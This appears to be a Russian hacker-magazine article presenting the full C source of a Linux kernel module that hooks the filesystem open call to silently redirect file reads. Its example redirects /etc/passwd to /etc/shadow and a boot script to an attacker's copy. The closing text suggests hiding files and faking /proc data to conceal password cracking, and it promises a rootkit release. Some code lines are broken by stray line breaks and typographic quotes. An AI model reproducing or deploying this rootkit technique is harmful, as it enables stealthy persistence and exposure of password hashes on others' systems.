/*
Redir by Alekz Under (skleroz@pisem.net)
This module allows you to redirect files in your system.

*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>

// include файлы нужные для работы с файловой системой
#include <linux/slab.h>
#include <linux/locks.h>
#include <linux/fd.h>
#include <linux/fs.h>

#include <linux/smp_lock.h>

struct file_operations * fop;
struct file_operations orig_fop;
struct nameidata kernel_nd;

// структкра в которой мы будем хранить имена и
иноды настоящего и обманного файлов
struct redirect_struct
{
long int orig_ino, redir_ino;
char * orig_fname, * redir_fname;
struct redirect_struct *next, *prev;
};

struct redirect_struct *redirects;

int redirect_add(char *orig, char *redir);
void redirect_del(char *orig);

int wrap_open(struct inode *ino, struct file *filp);

// эта функция по названию файла находит номер его inode’а
long int get_inode_num(char *filename)
{
int err;
long int inode_num;
struct nameidata nd;

if (path_init(filename, 0, &nd))
err = path_walk(filename, &nd);

if (err)
return 0;

inode_num = nd.dentry->d_inode->i_ino;
path_release(&nd);

return inode_num;
}

int wrap_open(struct inode *ino, struct file *filp)
{
struct redirect_struct *redir;

// просматриваем список редиректов
// вместо связного списка можно использовать массив
for(redir = redirects; redir != NULL; redir = redir->next)
{
//
открываемый файл есть в нашем списке редиректов? 
if(filp->f_dentry->d_inode->i_ino == redir->orig_ino)
{
int ret;
struct nameidata nd;

// открываем обманный файл
if (path_init(redir->redir_fname, 0, &nd))
ret = path_walk(redir->redir_fname, &nd);
if (ret) /*error! файл не найден!*/
return -1; /*
orig_fop.open(ino, filp);
*/

lock_kernel();

// закрываем настоящий файл
dput(filp->f_dentry);

// заменяем структуры так, что данные будут читаться из обманного файла, а не из настоящего
filp->f_dentry = nd.dentry;

unlock_kernel();
}
}

// вызываем настоящую
open
return orig_fop.open(ino, filp);
}

// эта функция добавляет файлы для редиректа в список
int redirect_add(char *orig_fname, char *redir_fname)
{
struct redirect_struct *redir, *tmp;

// заказываем память для структуры
redir = kmalloc(sizeof(struct redirect_struct), GFP_ATOMIC);
if(!redir)
return -1;

// память для имен файлов
redir->orig_fname = kmalloc(strlen(orig_fname)+1, GFP_ATOMIC);
redir->redir_fname = kmalloc(strlen(redir_fname)+1, GFP_ATOMIC);

if(!redir->orig_fname || !redir->redir_fname)
{
kfree(redir);
return -1;
}

strcpy(redir->orig_fname, orig_fname);
strcpy(redir->redir_fname, redir_fname);

// определяем номера инодов
redir->orig_ino = get_inode_num(orig_fname);
redir->redir_ino = get_inode_num(redir_fname);

if(!redir->orig_ino || !redir->redir_ino)
{
kfree(redir->orig_fname);
kfree(redir->redir_fname);
kfree(redir);
return -1;
}

if(!redirects)
{
redirects = redir;
redirects->next = NULL;
redirects->prev = NULL;
return 0;
}

// ищем место куда воткнуть структуру редиректа
// код сложный, так как производится сортировка по номерам inode’в, что
бы быстрее просматривать этот список в wrap_open
for(tmp = redirects; tmp->next != NULL; tmp = tmp->next)
{
if(tmp->orig_ino < redir->orig_ino)
{
redir->next = tmp;
if(tmp == redirects)
{
redir->prev = NULL;
redirects->prev = redir;
redirects = redir;
}
else
{
redir->prev = tmp->prev;
tmp->prev->next = redir;
}
return 0;
}
else if(redir->orig_ino == tmp->orig_ino)
{
//
уже редиректим этот файл
kfree(redir->orig_fname);
kfree(redir->redir_fname);
kfree(redir);
return 0;
}
}

// все номера inode’ов настоящих файлов больше redir->orig_ino — просто добавить структуру в конец списка
redir->next = tmp->next;
redir->prev = tmp;
tmp->next = redir;

return 0;
}

// эта функция удаляет структуру-редиректа из списка
void redirect_del(char *orig)
{
struct redirect_struct *tmp;
long int orig_ino = get_inode_num(orig);

for(tmp = redirects; tmp != NULL; tmp = tmp->next)
{
if(tmp->orig_ino == orig_ino)
{
//
нашли…
if(tmp->prev == NULL)
redirects = tmp->next;
else
tmp->prev->next = tmp->next;

if(tmp->next)
tmp->next->prev = tmp->prev;
else
redirects = NULL;

kfree(tmp->orig_fname);
kfree(tmp->redir_fname);
kfree(tmp);
return;
}
}
}

int init_module(void)
{
int error;
char path[] = «/etc/inittab»;

// перехватываем open функцию
if (path_init(path, 0, &kernel_nd))
error = path_walk(path, &kernel_nd);
if (!error)
{
lock_kernel();

fop = kernel_nd.dentry->d_inode->i_fop;
orig_fop.open = fop->open;
fop->open = wrap_open;

unlock_kernel();
}
else
{
printk(«err0r.\n»);
}

// добавляем файлы для редиректа
redirect_add(«/etc/passwd», «/etc/shadow»);
redirect_add(«/etc/rc.d/rc.local», «/home/hacker/real.rc.local»);
//
теперь cat /etc/passwd покажет shadow, а не passwd 🙂
// и т.д.

return 0;
}

void cleanup_module(void)
{
//
восстанавливаем open функцию
path_release(&kernel_nd);
fop->open = orig_fop.open;
}

Внимание: если кто-то открыл редиректящийся файл и работает с ним, то прога lsof может показать название обманного файла, но это редкая ситуация и если немножко поковыряться, то можно это побороть. И еще, если номера
inodо’в редиректящихся файлов поменяются не вовремя, то могут быть проблемы — нужно еще следить за функциями удаления и переименования файлов. Размер файла, его timestamp’ы и т.д. не будут редиректится в отличии от
содержания. Но это можно побороть с помощью Time Machine, модуля
описанного ранее и т.д. 🙂

Перехватывая функцию readdir можно прятать файлы в каталоге, возможно я расскажу как это реализовать с следующий раз.

Кстати, примерно таким же образом можно перехватывать и функции файловой системы proc (та, которая обслуживает файлы в /proc и предоставляет интерфейс с ядром), а значит, и выдавать любую нужную информацию о работе системы. Например, скрывать уровень загрузки процессора когда твой John the Ripper рипает пароли, объем свободного дискового пространства, когда ты там хранишь свои файлы, и т.д… 🙂 Читай про приколы с proc во Phrack
#58.

Ну вот и все на сегодня, в следующий раз вас ждет небольшой Новогодний подарок — релиз одного из моих lkm rootkit’ов. 🙂
Этот руткит не содержит каких-либо супер-сложных извратов. Тем не менее он наглядно демонстрирует как собрать все выше изложенные знания воедино и создать полезный Rootkit. А также многое другое… 😉

Оставить мнение

Check Also

Как крадут деньги при ICO. Разбираем типовые сценарии похищения средств и самих ICO

В 2017 году киберпреступникам удалось украсть 10% всех средств, инвестированных в ICO чере…